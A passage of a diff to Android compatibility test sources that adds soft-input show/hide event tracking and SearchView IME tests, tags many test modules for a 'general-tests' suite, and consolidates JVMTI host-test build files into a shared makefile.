+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
@@ -16,18 +16,21 @@
 
 package android.inputmethodservice.cts.ime;
 
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.HIDE_SOFT_INPUT;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT_VIEW;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
 import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT_VIEW;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.SHOW_SOFT_INPUT;
 
-import android.content.Intent;
 import android.inputmethodservice.InputMethodService;
 import android.inputmethodservice.cts.DeviceEvent;
-import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
 import android.inputmethodservice.cts.ime.ImeCommandReceiver.ImeCommandCallbacks;
+
+import android.os.ResultReceiver;
 import android.util.Log;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputConnection;
@@ -42,13 +45,33 @@
             new ImeCommandReceiver<>();
     private String mLogTag;
 
+    private class CtsInputMethodImpl extends InputMethodImpl {
+        @Override
+        public void showSoftInput(int flags, ResultReceiver resultReceiver) {
+            sendEvent(DeviceEvent.builder().setType(SHOW_SOFT_INPUT));
+            if (DEBUG) {
+                Log.d(mLogTag, "showSoftInput called");
+            }
+            super.showSoftInput(flags, resultReceiver);
+        }
+
+        @Override
+        public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
+            sendEvent(DeviceEvent.builder().setType(HIDE_SOFT_INPUT));
+            if (DEBUG) {
+                Log.d(mLogTag, "hideSoftInput called");
+            }
+            super.hideSoftInput(flags, resultReceiver);
+        }
+    }
+
     @Override
     public void onCreate() {
         mLogTag = getClass().getSimpleName();
         if (DEBUG) {
             Log.d(mLogTag, "onCreate:");
         }
-        sendEvent(ON_CREATE);
+        sendEvent(DeviceEvent.builder().setType(ON_CREATE));
 
         super.onCreate();
 
@@ -62,8 +85,10 @@
                     + " editorInfo=" + editorInfo
                     + " restarting=" + restarting);
         }
-        sendEvent(ON_START_INPUT, editorInfo, restarting);
 
+        sendEvent(DeviceEvent.builder()
+                .setType(ON_START_INPUT)
+                .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting));
         super.onStartInput(editorInfo, restarting);
     }
 
@@ -74,7 +99,8 @@
                     + " editorInfo=" + editorInfo
                     + " restarting=" + restarting);
         }
-        sendEvent(ON_START_INPUT_VIEW, editorInfo, restarting);
+
+        sendEvent(DeviceEvent.builder().setType(ON_START_INPUT_VIEW));
 
         super.onStartInputView(editorInfo, restarting);
     }
@@ -84,7 +110,7 @@
         if (DEBUG) {
             Log.d(mLogTag, "onFinishInputView: finishingInput=" + finishingInput);
         }
-        sendEvent(ON_FINISH_INPUT_VIEW, finishingInput);
+        sendEvent(DeviceEvent.builder().setType(ON_FINISH_INPUT_VIEW));
 
         super.onFinishInputView(finishingInput);
     }
@@ -94,7 +120,7 @@
         if (DEBUG) {
             Log.d(mLogTag, "onFinishInput:");
         }
-        sendEvent(ON_FINISH_INPUT);
+        sendEvent(DeviceEvent.builder().setType(ON_FINISH_INPUT));
 
         super.onFinishInput();
     }
@@ -104,13 +130,23 @@
         if (DEBUG) {
             Log.d(mLogTag, "onDestroy:");
         }
-        sendEvent(ON_DESTROY);
+        sendEvent(DeviceEvent.builder().setType(ON_DESTROY));
 
         super.onDestroy();
 
         unregisterReceiver(mImeCommandReceiver);
     }
 
+    @Override
+    public AbstractInputMethodImpl onCreateInputMethodInterface() {
+        final CtsInputMethodImpl inputMethod = new CtsInputMethodImpl();
+        if (DEBUG) {
+            Log.d(mLogTag, "onCreateInputMethodInterface");
+        }
+
+        return inputMethod;
+    }
+
     //
     // Implementations of {@link ImeCommandCallbacks}.
     //
@@ -142,10 +178,8 @@
         }
     }
 
-    private void sendEvent(final DeviceEventType type, final Object... args) {
-        final String sender = getClass().getName();
-        final Intent intent = DeviceEvent.newDeviceEventIntent(sender, type);
-        // TODO: Send arbitrary {@code args} in {@code intent}.
-        sendBroadcast(intent);
+   private void sendEvent(final DeviceEvent.IntentBuilder intentBuilder) {
+        intentBuilder.setSender(getClass().getName());
+        sendBroadcast(intentBuilder.build());
     }
 }
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
index 03b3946..61a7574 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
@@ -31,7 +31,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
 
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
index 19478f1..68b4498 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ b/hostsidetests/inputmethodservice/hostside/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsInputMethodServiceHostTestCases
 
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 973b87e..02c3e55 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -78,13 +78,7 @@
 
     @Test
     public void testUninstallCurrentIme() throws Exception {
-        final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
-                DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
-        sendTestStartEvent(testCreateIme1);
-        installPackage(Ime1Constants.APK, "-r");
-        shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
-        shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
-        assertTrue(runDeviceTestMethod(testCreateIme1));
+        installAndSetIme1();
 
         final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
                 DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
@@ -96,13 +90,7 @@
 
     @Test
     public void testDisableCurrentIme() throws Exception {
-        final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
-                DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
-        sendTestStartEvent(testCreateIme1);
-        installPackage(Ime1Constants.APK, "-r");
-        shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
-        shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
-        assertTrue(runDeviceTestMethod(testCreateIme1));
+        installAndSetIme1();
 
         final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
                 DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
@@ -112,6 +100,49 @@
         assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
     }
 
+    @Test
+    public void testSearchView_giveFocusShowIme() throws Exception {
+        installAndSetIme1();
+
+        final TestInfo testGiveFocusShowIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS,
+                DeviceTestConstants.TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1);
+        sendTestStartEvent(testGiveFocusShowIme1);
+        assertTrue(runDeviceTestMethod(testGiveFocusShowIme1));
+    }
+
+    @Test
+    public void testSearchView_setQueryHideIme() throws Exception {
+        installAndSetIme1();
+
+        final TestInfo testSetQueryHideIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS,
+                DeviceTestConstants.TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1);
+        sendTestStartEvent(testSetQueryHideIme1);
+        assertTrue(runDeviceTestMethod(testSetQueryHideIme1));
+    }
+
+    @Test
+    public void testOnStartInputCalledOnce() throws Exception {
+        installAndSetIme1();
+
+        final TestInfo testSetQueryHideIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+                DeviceTestConstants.TEST_CLASS,
+                DeviceTestConstants.TEST_ON_START_INPUT_CALLED_ONCE_IME1);
+        sendTestStartEvent(testSetQueryHideIme1);
+        assertTrue(runDeviceTestMethod(testSetQueryHideIme1));
+    }
+
+    private void installAndSetIme1() throws Exception {
+        final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+            DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
+        sendTestStartEvent(testCreateIme1);
+        installPackage(Ime1Constants.APK, "-r");
+        shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
+        shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+        assertTrue(runDeviceTestMethod(testCreateIme1));
+    }
+
     private void sendTestStartEvent(final TestInfo deviceTest) throws Exception {
         final String sender = deviceTest.getTestName();
         // {@link EventType#EXTRA_EVENT_TIME} will be recorded at device side.
diff --git a/hostsidetests/jdwpsecurity/Android.mk b/hostsidetests/jdwpsecurity/Android.mk
index 3c8ead8..c57559b 100644
--- a/hostsidetests/jdwpsecurity/Android.mk
+++ b/hostsidetests/jdwpsecurity/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.host.jdwpsecurity
 
diff --git a/hostsidetests/jdwpsecurity/app/Android.mk b/hostsidetests/jdwpsecurity/app/Android.mk
index 22f236a..eae6088 100644
--- a/hostsidetests/jdwpsecurity/app/Android.mk
+++ b/hostsidetests/jdwpsecurity/app/Android.mk
@@ -19,5 +19,5 @@
 LOCAL_MODULE := CtsJdwpApp
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 include $(BUILD_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.mk b/hostsidetests/jvmti/allocation-tracking/Android.mk
index c5619ad..15c3e50 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiTrackingHostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../host_side.mk
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.mk b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
index 71ab1b5..7b40a4f 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
new file mode 100644
index 0000000..072c926
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestAllocationTracking@1
diff --git a/hostsidetests/jvmti/base/jni/cts_agent.cpp b/hostsidetests/jvmti/base/jni/cts_agent.cpp
index bb1e620..665a47e 100644
--- a/hostsidetests/jvmti/base/jni/cts_agent.cpp
+++ b/hostsidetests/jvmti/base/jni/cts_agent.cpp
@@ -49,7 +49,7 @@
     LOG(FATAL) << "Could not get shared jvmtiEnv";
   }
 
-  SetAllCapabilities(jvmti_env);
+  SetStandardCapabilities(jvmti_env);
   return 0;
 }
 
@@ -64,7 +64,7 @@
     LOG(FATAL) << "Could not get shared jvmtiEnv";
   }
 
-  SetAllCapabilities(jvmti_env);
+  SetStandardCapabilities(jvmti_env);
   InformMainAttach(jvmti_env, env, kMainClass, kMainClassStartup);
   return 0;
 }
diff --git a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml b/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
deleted file mode 100644
index a2d6ca6..0000000
--- a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<!--
- * This is a sample of how to create an app for a run-test-based JVMTI
- * test.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jvmti.cts.run_test_{NR}">
-
-    <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="{NR}" />
-        <activity android:name="android.jvmti.JvmtiActivity" >
-        </activity>
-    </application>
-
-    <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for JVMTI"
-        android:targetPackage="android.jvmti.cts.run_test_{NR}" >
-    </instrumentation>
-</manifest>
-
diff --git a/hostsidetests/jvmti/host_side.mk b/hostsidetests/jvmti/host_side.mk
new file mode 100644
index 0000000..f29b53b
--- /dev/null
+++ b/hostsidetests/jvmti/host_side.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# This file is meant to be included for every host-side test case to
+# have common build system code.
+#
+# For example:
+#
+#   LOCAL_PATH := $(call my-dir)
+#
+#   include $(CLEAR_VARS)
+#
+#   LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
+#
+#   include $(LOCAL_PATH)/../host_side.mk
+#
+
+
+ifndef LOCAL_PATH
+  $(error LOCAL_PATH not defined)
+endif
+ifndef LOCAL_MODULE
+  $(error LOCAL_MODULE not defined)
+endif
+
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/hostsidetests/jvmti/redefining/Android.mk b/hostsidetests/jvmti/redefining/Android.mk
index d0a728d..a5c0f07 100644
--- a/hostsidetests/jvmti/redefining/Android.mk
+++ b/hostsidetests/jvmti/redefining/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRedefineClassesHostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../host_side.mk
diff --git a/hostsidetests/jvmti/redefining/app/Android.mk b/hostsidetests/jvmti/redefining/app/Android.mk
index 704f464..8ade23d 100644
--- a/hostsidetests/jvmti/redefining/app/Android.mk
+++ b/hostsidetests/jvmti/redefining/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
index a7bd120..d68d1ddc 100644
--- a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
+++ b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
@@ -342,7 +342,6 @@
              *      return-object v0
              *  .end method
             */
-            /* DISABLED Due to b/62237378
             new RedefineError(JvmtiErrors.FAILS_VERIFICATION, Transform2.class,
                     "ZGV4CjAzNQBOhefYdQRcgqmkwhWsSyzb5I3udX0SnJ44AwAAcAAAAHhWNBIAAAAAAAAAAIwCAAAN" +
                     "AAAAcAAAAAYAAACkAAAAAQAAALwAAAAAAAAAAAAAAAMAAADIAAAAAQAAAOAAAAA4AgAAAAEAAAAB" +
@@ -359,7 +358,6 @@
                     "BgAAAKQAAAADAAAAAQAAALwAAAAFAAAAAwAAAMgAAAAGAAAAAQAAAOAAAAACIAAADQAAAAABAAAE" +
                     "IAAAAgAAABgCAAADEAAAAgAAACgCAAAGIAAAAQAAADgCAAADIAAAAgAAAEgCAAABIAAAAgAAAFQC" +
                     "AAAAIAAAAQAAAH4CAAAAEAAAAQAAAIwCAAA="),
-             */
             /**
              * Base64 for this class.
              *
diff --git a/hostsidetests/jvmti/redefining/jarjar-rules.txt b/hostsidetests/jvmti/redefining/jarjar-rules.txt
new file mode 100644
index 0000000..63f7888
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestRedefining@1
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index 64fe597..66ec37d 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -13,5 +13,169 @@
 # limitations under the License.
 
 LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
 
+# shim classes. We use one that exposes the common functionality.
+LOCAL_SHIM_CLASSES := \
+  src/902-hello-transformation/src/art/Redefinition.java \
+  src/903-hello-tagging/src/art/Main.java \
+  src/989-method-trace-throw/src/art/Trace.java \
+
+LOCAL_SRC_FILES := $(LOCAL_SHIM_CLASSES)
+
+# Actual test classes.
+LOCAL_SRC_FILES += \
+  src/901-hello-ti-agent/src/art/Test901.java \
+  src/902-hello-transformation/src/art/Test902.java \
+  src/903-hello-tagging/src/art/Test903.java \
+  src/904-object-allocation/src/art/Test904.java \
+  src/905-object-free/src/art/Test905.java \
+  src/906-iterate-heap/src/art/Test906.java \
+  src/907-get-loaded-classes/src/art/Test907.java \
+    src/907-get-loaded-classes/src/art/Cerr.java \
+  src/908-gc-start-finish/src/art/Test908.java \
+  src/910-methods/src/art/Test910.java \
+  src/911-get-stack-trace/src/art/Test911.java \
+    src/911-get-stack-trace/src/art/AllTraces.java \
+    src/911-get-stack-trace/src/art/ControlData.java \
+    src/911-get-stack-trace/src/art/Frames.java \
+    src/911-get-stack-trace/src/art/OtherThread.java \
+    src/911-get-stack-trace/src/art/PrintThread.java \
+    src/911-get-stack-trace/src/art/Recurse.java \
+    src/911-get-stack-trace/src/art/SameThread.java \
+    src/911-get-stack-trace/src/art/ThreadListTraces.java \
+  src/912-classes/src-art/art/Test912.java \
+    src/912-classes/src-art/art/DexData.java \
+  src/913-heaps/src/art/Test913.java \
+  src/914-hello-obsolescence/src/art/Test914.java \
+  src/915-obsolete-2/src/art/Test915.java \
+  src/917-fields-transformation/src/art/Test917.java \
+  src/918-fields/src/art/Test918.java \
+  src/919-obsolete-fields/src/art/Test919.java \
+  src/920-objects/src/art/Test920.java \
+  src/922-properties/src/art/Test922.java \
+  src/923-monitors/src/art/Test923.java \
+  src/924-threads/src/art/Test924.java \
+  src/925-threadgroups/src/art/Test925.java \
+  src/926-multi-obsolescence/src/art/Test926.java \
+  src/927-timers/src/art/Test927.java \
+  src/928-jni-table/src/art/Test928.java \
+  src/930-hello-retransform/src/art/Test930.java \
+  src/931-agent-thread/src/art/Test931.java \
+  src/932-transform-saves/src/art/Test932.java \
+  src/933-misc-events/src/art/Test933.java \
+  src/940-recursive-obsolete/src/art/Test940.java \
+  src/942-private-recursive/src/art/Test942.java \
+  src/944-transform-classloaders/src/art/Test944.java \
+  src/945-obsolete-native/src/art/Test945.java \
+  src/947-reflect-method/src/art/Test947.java \
+  src/951-threaded-obsolete/src/art/Test951.java \
+  src/982-ok-no-retransform/src/art/Test982.java \
+  src/984-obsolete-invoke/src/art/Test984.java \
+  src/985-re-obsolete/src/art/Test985.java \
+  src/986-native-method-bind/src/art/Test986.java \
+  src/988-method-trace/src/art/Test988.java \
+    src/988-method-trace/src/art/Test988Intrinsics.java \
+  src/989-method-trace-throw/src/art/Test989.java \
+  src/990-field-trace/src/art/Test990.java \
+  src/991-field-trace-2/src/art/Test991.java \
+  src/992-source-data/src/art/Test992.java \
+    src/992-source-data/src/art/Target2.java \
+
+JVMTI_RUN_TEST_GENERATED_NUMBERS := \
+  901 \
+  902 \
+  903 \
+  904 \
+  905 \
+  906 \
+  907 \
+  908 \
+  910 \
+  911 \
+  912 \
+  913 \
+  914 \
+  915 \
+  917 \
+  918 \
+  919 \
+  920 \
+  922 \
+  923 \
+  924 \
+  925 \
+  926 \
+  927 \
+  928 \
+  930 \
+  931 \
+  932 \
+  933 \
+  940 \
+  942 \
+  944 \
+  945 \
+  947 \
+  951 \
+  982 \
+  984 \
+  985 \
+  986 \
+  988 \
+  989 \
+  990 \
+  991 \
+  992 \
+
+# Try to enforce that the directories correspond to the Java files we pull in.
+JVMTI_RUN_TEST_DIR_CHECK := $(sort $(foreach DIR,$(addprefix src/,$(JVMTI_RUN_TEST_GENERATED_NUMBERS)), \
+  $(filter $(DIR)%,$(LOCAL_SRC_FILES))))
+ifneq ($(sort $(LOCAL_SRC_FILES)),$(JVMTI_RUN_TEST_DIR_CHECK))
+  $(error Missing file, compare $(sort $(LOCAL_SRC_FILES)) with $(JVMTI_RUN_TEST_DIR_CHECK))
+endif
+
+LOCAL_MODULE_CLASS := JAVA_LIBRARIES
+LOCAL_MODULE_TAGS := optional
+LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_MODULE := run-test-jvmti-java
+
+GENERATED_SRC_DIR := $(call local-generated-sources-dir)
+JVMTI_RUN_TEST_GENERATED_FILES := \
+  $(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),$(GENERATED_SRC_DIR)/results.$(NR).expected.txt)
+
+define GEN_JVMTI_RUN_TEST_GENERATED_FILE
+
+GEN_INPUT := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected.txt)
+ifeq (true,$(ANDROID_COMPILE_WITH_JACK))
+GEN_EXTRA_DIFF := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_jack.diff)
+else ifeq (true,$(USE_D8))
+GEN_EXTRA_DIFF := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_d8.diff)
+else
+GEN_EXTRA_DIFF :=
+endif
+
+GEN_OUTPUT := $(GENERATED_SRC_DIR)/results.$(1).expected.txt
+$$(GEN_OUTPUT): PRIVATE_GEN_EXTRA_DIFF := $$(GEN_EXTRA_DIFF)
+$$(GEN_OUTPUT): $$(GEN_INPUT) $$(GEN_EXTRA_DIFF)
+	cp $$< $$@
+ifneq (,$$(GEN_EXTRA_DIFF))
+	(cd $$(dir $$@) && patch $$(notdir $$@)) < $$(PRIVATE_GEN_EXTRA_DIFF)
+endif
+
+GEN_INPUT :=
+GEN_OUTPUT :=
+
+endef
+
+$(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),\
+  $(eval $(call GEN_JVMTI_RUN_TEST_GENERATED_FILE,$(NR))))
+LOCAL_JAVA_RESOURCE_FILES := $(JVMTI_RUN_TEST_GENERATED_FILES)
+
+# Avoid linking against any @hide APIs.
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_JAVA_LIBRARY)
+
+include $(CLEAR_VARS)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/src b/hostsidetests/jvmti/run-tests/src
new file mode 120000
index 0000000..0291142
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/src
@@ -0,0 +1 @@
+../../../../art/test
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.mk b/hostsidetests/jvmti/run-tests/test-902/Android.mk
index 7479ad8..4467924 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
index 3fd9dc9..7c9001b 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
new file mode 100644
index 0000000..1649520
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest902@1
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.mk b/hostsidetests/jvmti/run-tests/test-903/Android.mk
index 1b67da1..74208d0 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest903HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
index a501186..c523dce 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
